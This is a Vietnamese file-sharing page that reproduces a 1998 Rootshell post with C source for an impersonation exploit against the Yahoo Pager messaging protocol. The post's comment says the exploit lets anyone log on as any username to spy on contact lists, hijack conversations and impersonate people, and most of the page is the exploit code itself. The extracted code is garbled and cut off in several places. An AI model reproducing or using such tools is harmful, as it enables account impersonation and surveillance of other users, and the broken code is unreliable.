Hack Yahoo bằng C

Chia sẻ: Vietnam 9h | Ngày: | Loại File: DOC | Số trang:5

Thêm vào BST

Báo xấu

168
lượt xem 38
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Tài liệu tham khảo chuyên đề máy tính về Hack Yahoo bằng C

Chủ đề:

Bình luận(0) Đăng nhập để gửi bình luận!

Lưu

Nội dung Text: Hack Yahoo bằng C

Hack Yahoo bằng C : trang này đã được đọc lần [ http://www.rootshell.com/ ] From douglas@min.net Sun Aug 2 18:48:44 1998 Date: Sun, 2 Aug 1998 20:56:16 0400 (EDT) From: D. Winslow To: wwwrequest@rootshell.com Subject: Yahoo Pager insecurity /* Yahoo Pager Client Emulator Thing yp.c Douglas Winslow Sun Aug 2 20:55:11 EDT 1998 Known to compile on Linux 2.0, FreeBSD 2.2, and BSDi 3.0. hi to aap bdc drw jfn jrc mm mcd [cejn]b #cz and rootshell Yahoo Pager seems to trust the clientside to do password verification. That's just plain sad. All you need to supply is a username to bump people off, spy on contact lists, hijack conversations, impersonate people, etc. I know some of this is sleazy code.. I apologise, as it was written more out of haste than thought. Obviously, don't expect this to work after they've patched their serverside. Here are a few notes to get you started: Contact list update format: nick(cur_mode,session_id?,ip_addr,is_on,is_off?,direct_conn?) Example: "monica(2,B37F6832,5AF089C6,1,0,0)" Multiple contact list updates begin with "x,". Example: "3,monica(...),bill(...),janetreno(...)" The rest of the server responses are rather straightforward; I'll leave those up to you. ;> */ #include #include #include
#include #include #define YP_SERV "cs3.yahoo.com" #define YP_PORT 5050 char xmt[1128], buffer[38]; int flag, k, s; void yparse(); void main(int argc, char *argv[]) { char mesg[1024], tmp[38], to[38]; int i, n, out, port; struct sockaddr_in serv_addr; struct hostent *server; if (argc > 1) strncpy(tmp, argv[1], 36); else { printf("Log on as? "); fgets(tmp, 36, stdin); tmp[strlen(tmp) 1] = 0; } if (!strlen(tmp)) exit(1); memset(xmt, 0, sizeof(xmt)); strcpy(xmt, "YPNS1.1"); xmt[8] = 104; xmt[9] = 3; xmt[12] = 1; /* Service: Logon */ for (i=32; i
{ fprintf(stderr, "** Can't resolve \"%s\"\n", YP_SERV); exit(1); } s = socket(AF_INET, SOCK_STREAM, 0); bzero(&serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; bcopy(server>h_addr, &serv_addr.sin_addr.s_addr, server>h_length); serv_addr.sin_port = htons(port); if (connect(s, &serv_addr, sizeof(serv_addr))
to[strlen(to) 1] = 0; if (strlen(to)) { memset(mesg, 0, sizeof(mesg)); printf("Msg: "); fgets(mesg, 1024, stdin); mesg[strlen(mesg) 1] = 0; memset(xmt, 0, sizeof(xmt)); strcpy(xmt, "YPNS1.1"); xmt[8] = 104; xmt[9] = 4; xmt[12] = 6; /* Service: Message */ for (i=32; i
sprintf(tmp, "%i", buffer[7]); len = atoi(tmp); if (len

CÓ THỂ BẠN MUỐN DOWNLOAD